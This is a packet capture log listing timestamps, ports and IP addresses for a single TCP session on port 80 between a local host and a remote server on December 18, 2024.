Dec 18, 2024 11:09:19.612040997 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.612092972 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.612126112 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.612173080 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.613205910 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.613260031 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.613312006 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.613353968 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.614420891 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.614469051 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.614526033 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.614572048 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.615647078 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.615693092 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.615761042 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.615802050 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.616818905 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.616864920 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.616909981 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.616955996 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.617988110 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.618035078 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.618041992 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.618084908 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.619232893 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.619278908 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.619343996 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.619389057 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.620456934 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.620503902 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.620548010 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.620613098 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.621584892 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.621634007 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.621695995 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.621740103 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.622972965 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.623027086 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.623107910 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.623153925 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.624460936 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.624533892 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.624560118 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.624573946 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.625602961 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.625652075 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.625665903 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.625690937 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.626399994 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.626441002 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.626485109 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.626518965 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.627612114 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.627703905 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.627720118 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.627734900 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.628813982 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.628855944 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.628895998 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.628928900 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.630021095 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.630050898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.630073071 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.630091906 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.631246090 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.631297112 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.631350994 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.631386042 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.632445097 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.632491112 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.632797956 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.632836103 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.633733988 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.633780003 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.633809090 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.633843899 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.634921074 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.634958029 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.634974003 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.635006905 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.636023998 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.636039019 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.636060953 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.636080027 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.637259007 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.637305021 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.637321949 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.637357950 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.638456106 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.638492107 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.638528109 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.638566017 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.639725924 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.639767885 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.639808893 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.639851093 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.640889883 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.640928984 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.640950918 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.640985966 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.642035007 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.642080069 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.642162085 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.642199039 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.643287897 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.643330097 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.644375086 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.644414902 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.644494057 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.644506931 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.644534111 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.644555092 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.645713091 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.645762920 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.646040916 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.646079063 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.646852016 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.646895885 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.647245884 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.647316933 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.648112059 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.648133039 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.648192883 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.648192883 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.649244070 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.649276018 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.649286985 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.649312019 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.650506020 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.650517941 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.650547981 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.651699066 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.651740074 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.652863026 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.652903080 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.652920961 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.652931929 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.652961969 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.654071093 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.654114008 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.654716015 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.654756069 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.655301094 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.655319929 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.655342102 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.655359983 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.656555891 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.656599998 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.657531977 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.657576084 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.657730103 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.657742023 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.657772064 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.659146070 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.659157991 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.659192085 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.787975073 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.787993908 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.788093090 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.788372993 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.788386106 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.788541079 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.788541079 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.789483070 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.789526939 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.789556026 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.789602995 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.790648937 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.790699005 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.791172028 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.791214943 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.791980028 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.792027950 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.792258978 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.792300940 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.793117046 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.793159008 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.793337107 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.793379068 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.794320107 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.794333935 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.794361115 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.794383049 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.795516014 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.795557976 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.796582937 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.796616077 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.796624899 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.796628952 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.796652079 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.796672106 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.797801018 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.797847986 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.798712969 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.798758984 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.799052954 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.799097061 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.799376011 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.799417973 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.800216913 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.800256014 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.800266981 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.800296068 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.801506042 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.801520109 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.801556110 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.801573038 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.802778006 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.802792072 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.802822113 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.802840948 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.803796053 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.803839922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.804126024 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.804168940 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.805002928 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.805047989 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.805366993 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.805406094 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.806153059 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.806206942 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.806396008 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.806440115 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.807379007 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.807423115 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.807545900 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.807588100 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.808587074 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.808599949 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.808645964 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.809706926 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.809753895 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.810404062 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.810450077 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.810962915 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.810976028 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.811005116 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.811026096 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.812144995 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.812186956 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.812318087 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.812357903 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.813394070 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.813407898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.813433886 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.813455105 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.814506054 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.814518929 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.814554930 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.815926075 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.815974951 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.816342115 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.816382885 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.816880941 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.816900015 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.816920996 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.816941023 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.818269014 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.818310976 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.819341898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.819384098 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.819466114 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.819504976 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.820034027 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.820075989 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.820590973 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.820633888 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.820804119 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.820847034 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.822798967 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.822819948 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.822861910 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.822869062 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.823045969 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.823045969 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.824342966 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.824362040 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.824393034 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.824415922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.825304031 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.825315952 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.825347900 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.826508045 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.826520920 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.826550961 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.826575994 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.827584982 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.827627897 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.828252077 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.828294039 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.828804016 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.828815937 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.828843117 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.828860998 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.830715895 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.830729008 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.830759048 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.830775976 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.831496954 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.831510067 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.831700087 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.831700087 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.833209038 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.833223104 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.833257914 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.833559990 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.833571911 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.833597898 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.833623886 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.835131884 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.835144997 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.835174084 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.835191011 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.835963964 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.835977077 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.836009026 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.837407112 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.837419033 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.837451935 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.838357925 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.838402033 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.838553905 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.838596106 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.839626074 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.839667082 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.839739084 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.839777946 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.840744019 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.840756893 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.840786934 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.842029095 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.842067957 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.843168020 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.843179941 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.843193054 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.843208075 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.843230009 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.844436884 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.844449043 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.844479084 CET	49894	80	192.168.2.6	31.41.244.11
